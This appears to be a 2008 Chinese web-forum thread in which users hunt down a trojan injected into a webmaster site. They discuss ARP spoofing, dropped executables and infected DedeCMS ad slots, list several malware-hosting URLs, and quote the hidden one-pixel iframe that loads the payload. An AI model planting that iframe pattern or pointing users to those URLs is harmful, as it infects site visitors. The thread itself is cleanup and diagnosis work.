webmasterz.cn上的挂马挂在哪了 我怎么查了半天查不到？

卡丁车

..不信邪....跑上去一看...嗷嗷卡的说....

101300

没有的事情...

我爱格格

贵网出现的这种arp攻击，会影响一些网速，他的模式是这样的：按照常理，服务器出外网应该走网关出去，但是由于机房内有人中了arp病毒，进行arp攻击以后，他就会劫持网关，即把自己虚拟成网关的mac，然后，贵网的服务器这时就不会从网关出去，而是通过那台中毒的机器，然后再通过网关出去

我爱格格

个人比较喜欢用antiarp
http://www.antiarp.com/download.htm

loveams

唉，几天没上了.
我那天上去第一次发现有毒  .. 过了个把小时 我想去看看到底哪被挂了马.看了代码没有.
发现卡巴没有报了.   
不过页面嗷嗷的卡.
偶也不知原因.
用微点查
貌似多了个服务.
c:/windows/temp/****.exe
不知各位有没有这个现像.
我的系统是当天刚装好的.

xiaoqiu

没有这种情况啊

上帝

http://www.985676.cn/encrypt/mm.htm
http://ppp.749571.com/dm/rr.htm
http://ppp.749571.com/dm/rl.htm

这是我抓到的几个，还有几个没有记下来
我冒着机器中毒的危险记下来的~

[ 本帖最后由 上帝 于 2008-1-10 12:26 编辑 ]

le19754

原帖由 上帝 于 2008-1-10 12:24 发表

                               
登录/注册后可看大图

http://www.985676.cn/encrypt/mm.htm
http://ppp.749571.com/dm/rr.htm
http://ppp.749571.com/dm/rl.htm

这是我抓到的几个，还有几个没有记下来
我冒着机器中毒的危险记下来的~

干掉耶稣，我就是上帝！
你还有什么好怕的。

上帝

楼上的，谢谢咯~~~

freelzyr

进dede后台
检查 ad_js.php?aid=1  
ad_js.php?aid=2
ad_js.php?aid=3
ad_js.php?aid=4

这几个广告 里面的代码
在这几个 掉茅厕位 里面   含有 木马的 代码

上帝

请老大仔细的查查吧，刚又发现了几个，全是免杀的~~一个劲的往外蹦，但是我的卡卡即不报~~
http://ppp.749571.com/dm/test.htm
http://www.985676.cn/encrypt/mm.htm
这两个是免杀的，还有几个没记下来，
这挂马的兔崽子有一手，隐藏的很好啊~~一般人都看不出来~

sby2000

会在C盘下产生 CRESS1.EXE
然后增加IE的BHO的木马 还释放驱动

sby2000

昏 他藏得好隐秘  找到了 放毒得地方了

iframe src=h t t p://w w w.9856 76.cn/encrypt/mm.htm width=1 height=1></iframe>
然后再这个地址转到ppp.749571.co m/dm/test.htm
为了跟踪这个病毒 自己失误的。。。。哎。修复中ing。。。。
静水赶快清理了吧

firstsee2008

原帖由 20082008 于 2008-1-9 16:33 发表

                               
登录/注册后可看大图

没装REAL就没事，好在我重新装的系统:

说的没错

静水流深

原帖由 freelzyr 于 2008-1-10 16:47 发表

                               
登录/注册后可看大图

进dede后台
检查 ad_js.php?aid=1  
ad_js.php?aid=2
ad_js.php?aid=3
ad_js.php?aid=4

这几个广告 里面的代码
在这几个 掉茅厕位 里面   含有 木马的 代码

这个检查了没有的

上帝

原帖由 静水流深 于 2008-1-11 02:27 发表

                               
登录/注册后可看大图

这个检查了没有的

我看过了，有挂马的代码，代码已经在你的另一个贴子里贴出来了

freelzyr

原帖由 静水流深 于 2008-1-11 02:27 发表

                               
登录/注册后可看大图

这个检查了没有的

木马就是在这里里啊
在后台的掉茅厕位设置那
里

loveams

现在明了.
有人收流量做ppp.749571.co m的..
最近被挂马的话. 都改成js了. 不用iframe了

kick

菜鸟,怕怕,不敢看,啥时好了说一声,我再去看风景